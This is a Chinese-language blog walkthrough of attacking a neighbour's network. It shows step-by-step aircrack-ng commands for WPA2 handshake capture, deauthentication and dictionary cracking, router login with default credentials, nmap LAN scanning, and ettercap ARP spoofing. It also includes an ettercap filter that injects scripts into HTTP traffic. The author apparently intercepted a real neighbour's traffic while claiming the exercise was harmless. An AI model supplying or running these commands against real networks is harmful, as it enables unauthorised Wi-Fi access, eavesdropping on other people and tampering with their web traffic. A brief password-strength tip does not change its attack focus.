尝试“偷窥”邻居的网络流量

0x00 折腾的缘由

不知什么时候看到这篇文章后,我便对其中主人公对一个模拟的邻居进行攻击的过程产生了好奇,由于原文没有详细描述攻击的每一个步骤,便想着什么时候在一个安全的环境下重现一下。

首先明确接下来的操作都是安全无害的,虽然的确劫持到了其他人的一些流量,但并没有继续解密流量了,尝试修改流量也只是针对自己设备。

然后我们来假象这么一个目标,劫持到邻居的流量,这可以用来分析ta,并修改流量,达到浏览器弹窗、修改网页布局的效果。

这简单的实现可以使用古老但好用的ARP攻击,将目标的流量欺骗到攻击人的网卡上,便可以开展中间人攻击了。不过这要求我们在同一个局域网中,比如连接了同一个无线路由器。一般可以搜索到邻居的无线路由器,一旦破解了其登陆密码,便可以扫描到目标的设备,进行攻击了。

0x01 尝试破解Wifi

一般我们的设备和邻居的设备不在同一内网中,所以第一难关就是攻克无线路由器。如果像我一样,插上网线发现就已经和邻居在同一内网中,那么就可以跳过这一步了。

使用的武器

Aircrack-ng是常用的用于破解无线802.11WEP及WPA-PSK加密的工具。Linux用户下载源码编译安装即可。
其中需要Ubuntu用户预先apt-get install libnl-3-dev libnl-genl-3-dev安装几个依赖。

Mercury 150Mbps MW150U是一个无线USB网卡,Ubuntu免驱使用,由于可以开启Monitor模式,既可以用于台式机的无线上网,也可以偶尔做做无线网络的实验。

查看网卡后发现我的笔记本网卡和USB网卡都可以用于实验:

1
2
3
4
5

phy0 wlan0 ath9k Qualcomm Atheros AR9285 Wireless Network
phy1 wlan1 rt2800usb Ralink Technology, Corp. RT5370

```

选择攻击目标

一切就绪,首先让网卡进入Monitor模式,这运行程序获取到更底层的无线网络数据,

1
2
sudo airmon-ng start wlan1
```

ifconfig后发现wlan1mon

继续开始审查周围的无线网络,

1
2
sudo airmon-ng start wlan0
```

search

可以看到周边的无线热点,按照信号强度由强到弱排序,其中BSSID是热点的Mac地址,CH是热点的信道(WIFI2.4Ghz分有13个互相有重叠的信道),ENC是加密方式,可以发现基本都是WPA2加密,ESSID是名称,好了,我们基本就只需要关注这些。

挑选一个victim,记下它的信息。

捕获WPA的握手包

要想破解无线密码,我们先捕捉两台设备成功握手的包。虽然其中也不含密码,但我们可以用这一信息来暴力验证密码字典中的密码是否正确。

1
2
sudo airodump-ng --ivs --ignore-negative-one --bssid 目标热点MAC -w 保存文件的名称 -c 信道 wlan1mon
```

现在我们看到开始抓包,

waiting-for-handshake

不过是否能快速捕获握手包取决于两个因素,信号强弱、是否现在有活跃的设备正在和热点通信。为了尽快获取到握手包,常规做法是广播中断连接的信号,强制踢设备下线,再连接就有我们想要的握手包了。

1
2
sudo aireplay-ng -0 30 -a 目标热点MAC  wlan1mon
```

幸运地话,很快就能看到握手包捕捉成功,

get-handshake

离线破解,拼算力的时候到了

目前WPA的加密是捕获热点和设备间的握手信息,再离线用密码字典爆破,按理来说都是可以破解的,不过时间不允许我们这么做,由于一般密码很弱,比如8位纯数字,或者是非常常见,如password。一个好的字典囊括了最常见的密码,让我们能瞬间破解很多热点。

1
2
aircrack-ng -w ~/Downloads/dict/0-9.8位纯数密码.txt my-01.ivs
```

4T 2.2GHz的破解速度只有90000个/秒的破解速度,把0-9的8位纯数密码扫描一遍要1000分钟了。

不过常见密码是很好破解的,

get-passwd

所以,一定要把无线密码设置得非常特殊,长度12位以上,切记切记,还有防止软件偷走密码去分享。

0x02 扫描内网设备

成功登入后,首要访问一下192.168.1.1192.168.1.253,这是路由器管理界面的常见入口,比如我登的就是admin/admin口令,控制了路由器就更加自由了。可以进行DNS攻击,刷路由器固件等。

如何在不登陆路由器管理界面的情况下,看看内网内的其他设备的情况呢?nmap登场,神级工具之前一直没用过,最近才看到其他人使用。

简单用法如下,更多请参阅他人的简单的教程

1
2
3
4
5
6
7
8
9
10
➜  ~  nmap -sP 192.168.1.1-254

Nmap scan report for xxxxxxxdeiPhone (192.168.1.7)
Host is up (0.031s latency).
All 100 scanned ports on feixiandeiPhone (192.168.1.7) are closed
MAC Address: XX:XX:XX:XX:XX (Apple)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

```

哈,发现一个人的iPhone。

0x03 简单进行Arp攻击

现在,真正的攻击上演了。我们要将上面找到的victim的流量欺骗到我们的网卡上,ettercap登场,apt-get安装即可。

1
2
sudo ettercap -i wlan1 -T -M arp:remote /192.168.1.1// /192.168.1.7//
```

执行中间人攻击,欺骗路由器和目标设备,这样本来由目标发下路由器的流量就发给了我方网卡,中转后再发向路由器。

0x04 审查流量信息

配合wireshark审查浏览,不过现在HTTPS加密已经流行起来,似乎只有HTTP明文可以被我们分析了。

wireshark

似乎到了饭点,在定外卖……

0x05 修改流量信息

接下来攻击自己手机,尝试在HTTP明文中注入脚本。

还是使用ettercap,其中的fliter功能可以进行简单的文本查找和替换,虽然十分低效。高效的方法需要加入HTTP解析,这样方便过滤和注入。

fliter代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14

if (ip.proto == TCP && tcp.dst == 80) {
if (search(DATA.data, "Accept-Encoding")) {
replace("Accept-Encoding", "Accept-Nothing"); # 防止GZIP压缩
}

}
if (ip.proto == TCP && tcp.src == 80) {
replace("<title>", "<script type=\"text/javascript\">alert('Hack')</script><title>");
replace("<title>","<style>html{overflow-y:scroll;filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);-webkit-filter:grayscale(100%);}</style><title>");

}

```

预先编译为ettercap可加载的二进制模块,

1
2
etterfilter f.filter -o fun.ef
```

重新进行攻击,这时候流量被匹配后修改,

1
2
3
sudo ettercap -i wlan0 -T -M arp:remote -F fun.ef /192.168.31.1// /192.168.31.155//

```

攻击效果,

v2ex

脚本注入

smzdm

哈,灰色默哀